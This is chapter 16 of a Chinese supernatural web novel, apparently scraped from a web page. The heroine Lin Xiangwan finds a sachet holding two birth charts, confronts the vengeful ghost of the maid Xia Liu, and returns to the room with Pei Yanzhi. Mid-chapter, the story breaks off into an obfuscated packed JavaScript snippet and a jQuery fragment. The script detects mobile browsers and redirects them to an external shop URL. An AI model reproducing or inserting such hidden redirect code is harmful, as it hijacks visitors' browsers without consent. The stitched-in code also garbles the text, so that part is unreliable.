16. 纸人抬棺(五)
作品:《今天也见鬼了呢》 这荷包上绣的鸳鸯和背面的字,显然是赠予心上人的。
鼻尖掠过一丝清香,林向晚手腕一斜,只见荷包的底部破了一道口子,有几颗香料从缝隙中露出头来。
看来薛婉在给心上人绣这荷包时,不小心勾破了底,才没能送出去。只是这一路行来,无论是薛月还是刘嬷嬷,都未曾提过薛婉有这么一位心上人。
是此人不值一提,还是……她们根本不知道他的存在?
林向晚将荷包收进袖袋,打算带回去再细问。可就在她收好荷包的瞬间,屋内的气氛陡变。
空气变得粘稠又浑浊,弥漫着死亡的气息。阴寒感骤起,好似一条蟒蛇顺着你的躯干,勒住脖颈,使全身遍布冰冷。
细碎的脚步声由远及近,略带空灵的话语,在死寂中格外清晰。
“你为什么要碰小姐的东西……”
林向晚脊背一僵,这声音凭空出现,如果是从正门来的,裴砚之一定会开口提醒,不至于进了屋子还没有动作。
那么,只剩一种可能。
从头至尾,她都在这间屋子里。在一个角落无声无息地盯着林向晚,直到她动了桌案上的东西。
林向晚心中惊涛翻涌,面上却纹丝不动。她佯装未闻,一步步朝门口挪去,路过梳妆台上时,在铜镜上匆匆瞥了一眼。
镜中映出她身后不远处,一个身着杏色衣衫的女子正拖着步子走来。她的腿似乎断了,每迈一步,膝盖都会出现诡异的弯折。浓重的黑气从她身上溢出,怨念几乎凝成实质,囊括了整个屋子。
这只鬼有伤害她的能力,绝对不能被发现她看得到!
女鬼还在喋喋不休,空洞的眼眶死死盯着林向晚。
“为什么要碰小姐的东西,为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么……”她念咒般地重复着,仿佛如此就能消逝她的怨恨。
林向晚听得心里发毛,不再过多搜查,转身快步退出屋子。
木门在身后关上的刹那,那道执拗的“为什么”才戛然而止。
林向晚心有余悸地回头瞧了眼,屋内依旧一片漆黑,平静似水,只有她知道平静的表下隐藏了什么。
*
裴砚之百无聊赖地坐在石阶上,脚下是横七竖八躺了一片狗尾巴草,被他揪光了穗子,只剩下光秃秃的草茎。
自林向晚进屋,他便时不时抬头看一眼门扉,见没动静,就接着揪草,过一会儿再抬头。
就这么循环往复。
……他怎么突然觉得自己像被抛弃在这的某大型犬??
裴砚之拒绝这个联想,干脆转过身去,背对着屋子。
于是林向晚出来后,看到的就是裴砚之别扭的背影,和一地狗尾巴草的尸体。
这小子又抽什么风,哪有这样放哨的。
她走上前,试探开口:“裴砚之?”
裴砚之如临大敌,几乎从石阶上跳起来,见是林向晚后才松一口气。
林向晚挑眉:“做什么坏事了,这么心虚。”
裴砚之:“人吓鬼是会吓死鬼的!”
林向晚:“……”
裴砚之还因着方才那荒谬的想法,有些不自在,忙转开话题:“你不是要去里面找线索吗,这才过去不到一柱香的时间怎么就出来了?”
林向晚沉默片刻,低声道:“那间屋子里有一个女鬼,怨气很重,要是再跟她多呆一会,恐怕会激怒她。”
她心中疑虑翻涌,那个鬼口口声声“为什么要碰小姐的东西”,其中‘小姐’的称呼,证明她并非薛婉。而近期死去,并且可能徘徊在薛婉房中经久不散的,只剩一人——
薛婉的贴身丫鬟夏柳。
从刘嬷嬷口中可知,夏柳忠心耿耿,却被灭口死于非命。这样的人死后化为冤鬼,怨念滔天确有可能。
“这样就有些麻烦了,”裴砚之将手里最后一根草茎插回土里,起身道,“那屋子不能再进了,去别处看看吧。”他走出两步,却不见林向晚跟上,回头看她:“怎么不走?”
顿了顿,他若有所觉:“你不会还想回去吧?”
林向晚没答,她的确想回去看看。夏柳这个行走的真相摆在那里,她是为数不多的知情人,若能从她嘴里撬出几句,所有疑团便能迎刃而解。可风险也摆在眼前,一旦夏柳被怨念吞噬,失去人性。那么,擅自闯入屋子的她,将成为活靶子。
裴砚之见她沉默,有些急:“别开玩笑了,她与柳青青那个生魂不同,夏柳可是正儿八经的鬼,还是个怨气不轻的鬼,你一旦暴露了就是个死。”
“也不一定。”林向晚道。
“什么意思?”
林向晚仔细回忆她踏入房间内的每一个动作,先是推开门,把绊倒的凳子扶稳,打量了一会陈设,又拿起荷包,最后就是夏柳出声斥责。
裴砚之没有发现异常,所以夏柳从未离开过房间,那自己的所有动作都会落在她眼里,可在她触碰凳子和其他杂物时,却没有开口。
可为何碰到其他物件时她沉默不语,唯独触到荷包才开口?
林向晚从怀里把荷包取出来,借着稀薄月光,能看见因底部破损,有不少香料撒了出来。
她把上面缠着的系带拆掉,将里头的东西轻轻倒出。除了些寻常香料外,还有一张折起的纸和两缕交缠的青丝。
展开纸条,上面并列写着两个生辰八字,薛婉,与一个名叫方执的人。
民间相传,若两人互许终身,女子会将二人八字放入香囊,暗含祈愿姻缘天成。这两缕相缠的头发,更寓含结发同心之意。
看来,纸条上的“方执”便是薛婉的心上人。
可这终究也只是一只普通的荷包,看不出别的。
林向晚抬眼看向裴砚之,问出她心中困扰:“夏柳应已在那屋里徘徊多时,可往日去打扫的婆子并没有发现异样,为什么偏偏今夜出言?”以夏柳的怨气,只要她想,弄点动静吓吓人并不难,可她并没有。
裴砚之想了想道:“关键在于荷包本身,而非其他杂物。清理的婆子不会去碰案上之物,但你碰了,这就是你与婆子的不同之处。”
林向晚点头,荷包对夏柳而言是特别的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941947|192968||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结合夏柳翻来覆去的“为什么”,一个猜测渐渐浮现。
“我想,我明白夏柳的意思了。”她将自己的推测告诉了裴砚之。
裴砚之思忖片刻,指了指被她重新整理好的荷包道:“你是觉得,夏柳并没有要阻止你拿荷包,对吗?”
林向晚会心一笑:“没错,孺子可教也!”
夏柳自始至终说的都是“为什么”而非“不可以”,相对于反对,她更倾向于困惑,她想知道自己拿走荷包的原因。既然有困惑,而不是一味的怨恨,那她就还有意识!
如果依她所料,夏柳还留有人性,是可以交流的鬼,那么她未尝不可冒险一试。
“你才是‘子’。”裴砚之不忘反驳回去,又不赞同地道:“不过再怎么说,这也是你的猜测,并没有切实证据。”
“为了一个猜想,你就要去冒险?”
林向晚耸耸肩:“不冒险哪来的答案,富贵险中求懂不懂。”
话是这么说,但她心里还是有些发怵。毕竟遇到过那么多鬼,给她留下好印象的实在不多。
裴砚之见她固守己见,也没了辙,“既如此,就一起去吧。”
林向晚挑了挑眉,“你确定?你现在的状态,可最招鬼怪喜欢,说不准刚进门就把你一口吞了,连渣都不剩。”
她倒是没恐吓裴砚之,怨气深重的恶鬼往往喜欢吸收较弱的同类。她和裴砚之一人一半鬼,说不定谁更危险。
裴砚之却毫不在意,“你都不怕我还怕什么,难道……”他突然凑近,眼睛一眨不眨地瞧着林向晚,“林大掌柜这是担心我?”
距离太近,林向晚几乎能看见他睫毛下的阴影。她飞速移开视线,丢下一句:“谁担心你,是怕你拖我后腿!”
说罢,她便直冲冲走到房门前,不去理会身后的那声低笑。
*
乌云笼罩在天空,月光被遮蔽的七七八八,院内更显寂静。
在知道屋内有东西之后,林向晚的心境简直天翻地覆,可她必须进,这样才能找到真相。
林向晚抬起手,在门前顿住。微微侧头,裴砚之就站在她身侧,肩与肩相贴,多了个人陪她,她的心也稍稍安定。
微微一用力,门再次被推开。
夏柳就站在门内,背对着她,长长的头发散落,垂至腰间。她似有所觉,身子没有动,头颅却一点一点转过来,直到视线与她平齐。
她听见夏柳说:“为什么要碰小姐的东西……为什么……”
“为什么……”
林向晚压下心中惊异,举起手中的荷包,直白开口:“夏柳,我是来查薛婉小姐的真正死因。”
夏柳重复的声音戛然而止,似是没听懂林向晚说的话,她歪着脑袋,拖动断裂的双腿,一步一步朝林向晚走来,嘴里说着:“你能看见我……”
血泪从夏柳的眼眶里流出,在惨白的脸上划出两道红痕。
“你能看见我?”
“你能看见我!!!”
夏柳的声音陡然凄厉,身上的怨气疯狂增长,她哀嚎一声,直直扑向林向晚!

